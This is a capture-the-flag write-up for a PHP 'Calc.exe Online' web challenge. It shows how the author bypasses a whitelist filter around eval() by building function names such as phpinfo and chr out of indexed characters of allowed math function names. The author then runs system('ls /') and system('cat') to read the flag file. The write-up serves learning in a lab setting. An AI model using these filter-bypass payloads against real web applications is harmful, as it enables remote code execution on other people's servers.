# Calc.exe Online 50pt   This is first time to make a writeup for web challenges :3   
## ChallengeHere is a part of the source code.  
```php 1024) return "Expression too long.";    $code = strtolower($code);    $bad = is_safe($code);    $res = '';    if (strlen(str_replace(' ', '', $bad)))        $res = "I don't like this: " . $bad;    else {        eval('$res=' . $code . ";");	}    return $res;}?>......    <div class="container" style="margin-top: 3em; margin-bottom: 3em;">        <div class="columns is-centered">            <div class="column is-8-tablet is-8-desktop is-5-widescreen">                <form>                    <div class="field">                        <div class="control">                            <input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" />                        </div>                    </div>                </form>            </div>        </div>        <div class="columns is-centered">                 <div class="card column is-8-tablet is-8-desktop is-5-widescreen">                    <div class="card-content">                        =                     </div>                </div>          </div>    </div>......```
It is a simple php challenge.We want to pass good string to eval() in safe\_eval().  
### SolutionFirst, I found that it is valid and executed.```# input => resultabs[0] => a abs[0].abs[2] => as```Because "abs" is defined as a element of $good. It can bypass the filter.
Next, I wanted to execute phpinfo().After many trial, I found that the following code is valid.```(hypot[2].hypot[0].hypot[2].min[1].min[2].floor[0].floor[2])()```Good. And, I executed system("ls") as same as phpinfo().  But, flag was not found.  So I tried to execute system("ls /"), but cannot express "/" because $good has not strings that have "/".  
I thought how to express any character and found that ```(cos[0].tanh[3].ncr[2])(65) => chr(65) => A```Now I can execute any code with chr(). 
Finally, I executed system("ls /") ,found the file name of flag was "/flag\_a2647e5eb8e9e767fe298aa012a49b50" and did system("cat /flag\_a2647e5eb8e9e767fe298aa012a49b50").
Be careful that the length of input must be less than 1025.  If your input is too long, you'll have to find another expressiong of input.
My solver is [here](https://github.com/kam1tsur3/2021_CTF/blob/master/bamboofox/web/calc_exe_online/solve.py).
## Referencetwitter: @kam1tsur3